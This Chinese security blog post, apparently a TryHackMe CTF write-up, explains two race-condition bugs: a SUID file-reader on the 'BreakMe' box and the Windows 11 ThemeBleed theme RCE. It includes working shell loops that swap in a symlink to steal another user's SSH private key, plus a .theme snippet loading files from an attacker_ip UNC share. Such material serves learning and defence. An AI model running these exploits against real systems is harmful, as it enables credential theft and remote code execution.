文件中有趣的条件竞争漏洞
前言
条件竞争(Race Condition)是一种经常出现于并发编程中的问题,发生在多个进程或线程并行执行时,它们对共享资源的访问和修改没有适当的同步机制。简而言之,当程序的行为依赖于执行顺序,而这个顺序在不同的运行中可能会变化时,就会产生条件竞争。
在这里,带来TryHackMe近期的挑战房间中的条件竞争提权,以及过去与它相似的windows11 theme主题RCE漏洞themebleed
BreakMe
在这个渗透测试挑战中的横向移动环节中有一个相当有趣的点
.ssh
目录下有id_rsa,readfile拥有youcef的suid,虽然readfile.c不可读,通过ida反编译我们能够得到大概的代码,为了更加清晰我们选择事后root后读取源码
#include <stdio.h>
#include <fcntl.h>
#include <string.h>
#include <unistd.h>
#include <assert.h>
#include <sys/stat.h>
int main(int argc, char **argv, char **envp) {
int n;
char buf[1024];
struct stat lstat_buf;
if (argc != 2) {
puts("Usage: ./readfile <FILE>");
return 1;
}else if(access(argv[1],F_OK)){
puts("File Not Found");
return 1;
}else if(getuid()!=1002){
puts("You can't run this program");
return 1;
}
char *flag = strstr(argv[1], "flag");
char *id_rsa = strstr(argv[1], "id_rsa");
lstat(argv[1], &lstat_buf);
int symlink_check = (S_ISLNK(lstat_buf.st_mode));
int res=access(argv[1],R_OK);
if (flag || symlink_check || res==-1 || id_rsa) {
puts("Nice try!");
return 1;
} else {
puts("I guess you won!n");
int fd = open(argv[1], 0);
assert(fd >= 0 && "Failed to open the file");
while((n = read(fd, buf, 1024)) > 0 && write(1, buf, n) > 0);
}
return 0;
}
原有的代码中还包含sleep 0.8,我已经移除,但并不影响条件竞争的诞生,即便会使它的概率下降
我们看最关键的逻辑部分
•使用strstr函数检查文件名中是否包含“flag”或“id_rsa”•使用 lstat获取文件状态信息,并检查文件是否是符号链接(S_ISLNK),如果是链接文件则禁止读取文件•如果包含上述检查的文件名或是链接文件则禁止读取文件
事实上源码已经给了提示,那就是跟软链接有关。导致条件竞争的发生是 在获取文件名以及是否链接文件之后、if判断之前
我们以慢速的视角进入,当进行前两步操作后,我们迅速把我们想要读取的文件从正常文件修改为软链接,接着当if判断时,它会通过,因为内存中的变量值是我们修改前的状态,此时会去读取软链接中的文件,从而绕过正常判断
我们可以创建一个死循环反复创建和删除软链接并创建正常文件
while true;do ln -sf /home/youcef/.ssh/id_rsa ./test;rm ./test;touch ./test;done &
接着多次运行readfile进行条件竞争,让它读取./test
文件
for i in {1..50};do /home/youcef/readfile ./test;done
这次运气挺不错,一轮中了两发
当readfile以正常文件获取状态后,在if判断前修改为了软链接文件,我们就能读取到我们想要的
Windows 11 RCE – themebleed
在过去的一个靶机历程中,themebleed被我用于获得服务器初始访问权限的方式,事实证明它也可在特定win11版本中被用于钓鱼,不过由于它是漏洞,只要修补便会失效
它的工作原理与上面的条件竞争有些相似
受害者通过双击运行.theme
文件去调用版本999的.msstyle
文件
[VisualStyles]
Path=\attacker_ipAero.msstyles
当调用了版本999的.msstyle
会发生什么
if ( return_val < 0 && (_WORD)version == 999 ) // !!! [2] special case for version 999
{
resource_size = 999;
return_val = ReviseVersionIfNecessary(msstyles_path, 999, (int *)&resource_size); // !!! [3] call to `ReviseVersionIfNecessary`
当是999时,直接调用ReviseVersionIfNecessary函数验证xxx_vrf.dll
签名,签名通过后,再次获取xxx_vrf.dll
文件作为DLL加载并调用VerifyThemeVersion函数
得益于Windows UNC Path,它在这个漏洞中发挥巨大作用
关键点则在于,它的参数msstyles_path
(.theme文件中的path)是UNC Path;换句话说,它会从UNC Path去读取xxx_vrf.dll
,但问题是这个文件将会由攻击者操控
首先windows系统第一次通过UNC path获取xxx_vrf.dll
文件,此时攻击者返回正常的xxx_vrf.dll
使其通过签名
当签名通过后,windows系统第二次通过UNC path获取xxx_vrf.dll
文件,此时攻击者返回恶意的dll文件使其在系统上被加载
themebleed.py源码
当是第二次获取vrf.dll时,则返回恶意dll回去,当恶意dll被加载,我们就能得到我们想要的东西
共同点
虽然前后两者由于本地
和网络
导致过程速度上的巨大差异,但不难看出这两个都具有相似的条件竞争点:
•获取文件信息后,if判断前•获取第一次vrf.dll验证dll签名后,获取第二次vrf.dll前
原文始发于微信公众号(APT250):文件中有趣的条件竞争漏洞